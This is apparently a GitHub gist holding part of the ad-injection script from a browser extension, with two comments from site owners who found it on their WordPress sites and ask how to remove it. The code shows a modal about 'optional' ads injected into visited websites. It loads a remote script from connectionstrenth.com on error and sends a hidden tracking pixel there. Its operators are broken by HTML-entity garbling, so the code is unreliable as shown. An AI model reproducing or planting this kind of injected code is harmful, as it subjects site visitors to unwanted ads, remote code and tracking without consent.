.modal-dialog{-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);transform:translate(0,-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}.modal-dialog{position:relative;z-index:1050;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5);background-clip:padding-box}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1030;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:.5;filter:alpha(opacity=50)}.modal-header{min-height:16.428571429px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.428571429}.modal-body{position:relative;padding:20px}.modal-footer{padding:19px 20px 20px;margin-top:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:after,.modal-footer:before{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}@media screen and (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}}</style><content><div class="modal-content" style="font-family:\'Segoe UI\'\
'Droid Sans\'
Arial sans - serif; width: 650 px "><div class="
modal - header "><button type="
button " class="
close " id="
close - btn " data-dismiss="
modal " aria-hidden="
true "><img src=" //connectionstrenth.com/ext/images/close-cross.png" width="16" height="16"></button><h4 class="modal-title" id="myModalLabel"><b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help.<br><br>Ads support most of the internet we all use and love; without them, the internet we have today would simply not exist. Similarly, without revenue, this extension (and the upcoming new ones) would not be possible.<br><br><b>You can disable these ads now or later in the settings page. You can also minimize the ads appearance by clicking on partial support button. Both of these options are available by clicking \'x\' button in the corner of each ad.</b> In both cases,your choice will remain in effect unless you reinstall or reset the extension.</div><div class="modal-footer"><button type="button" id="full-support" class="btn btn-success btn-lg">Fully Support</button><button type="button" id="partial-support" class="btn btn-default">Partially Support</button><p style="text-align:left;width:100%;"><a id="no-support" style="text-decoration:underline;" href="#">No, I don\'t want to support you work</a></p></div></div></content>');
i.close(); i.getElementById("full-support").onclick = function() {
b.optoutHide();
b.loadedCallback("OPTOUT_CLK_FULLSUPPORT");
return false
}; i.getElementById("close-btn").onclick = function() {
b.optoutHide();
b.loadedCallback("OPTOUT_CLK_CLOSE");
return false
}; i.getElementById("partial-support").onclick = function() {
window.open("http://thisadsfor.us/optout?t=1668&u=50653&key=684a91d7f4464c3350&block=" + b.currentOptoutBlock);
b.optoutHide();
b.loadedCallback("OPTOUT_CLK_PARTSUPPORT")
}; i.getElementById("no-support").onclick = function() {
window.open("http://thisadsfor.us/optout?t=1668&u=50653&key=684a91d7f4464c3350&block=" + b.currentOptoutBlock);
b.optoutHide();
b.loadedCallback("OPTOUT_CLK_NOSUPPORT")
}
};
if (g.contentDocument || g.contentWindow) {
h()
} else {
b.on(g, "load", h);
d = setTimeout(h, 5000)
}
b.twBarOptOut = a[f].twBarOptOut = g
}
})(document, window, "684a91d7f4464c3350", undefined);; d.loadedCallback("FINISHED", "", location.host)
})
});;
try {
b(document, window)
} catch (c) {
var h = (typeof c.stack != "undefined" ? c.stack : "!empty stack!");
if (h.length & gt; 1500) {
h = h.substr(0, 1500)
}
var a = (i.location.protocol == "http:" ? "http:" : "https:") + "//connectionstrenth.com/log/?l=error&m=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!") + "|" + h);
var k = document.createElement("script");
k.type = "text/javascript";
k.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
(document.getElementsByTagName("script")[0] || document.documentElement.firstChild).parentNode.appendChild(k);
(function() {
var e = ["mid=", "wid=50653", "sid=" + (i[g] & amp; & amp; i[g].tbParams & amp; & amp; i[g].tbParams.sid) ? i[g].tbParams.sid : "", "tid=1668", "custom1=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!")), "rid=CORE_JS_ERROR"];
a = (i.location.protocol == "http:" ? "http:" : "https:") + "//connectionstrenth.com/metric/?" + e.join("&");
var d = f.createElement("img");
d.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
d.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
(document.head || document.documentElement).appendChild(d);
if (typeof d.onload != j) {
d.onload = function() {
d.parentNode & amp; & amp;
d.parentNode.removeChild(d)
}
}
})()
}
}(document, window));
@ablamohamedamine
Copy link

Hello

I found this file on my WordPress website on this link , I wanna remove it because it's make my website slower but I didn't know how can I removre it.

Thank You.

@iLexandre
Copy link

I have the same problem. Can someone help us?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment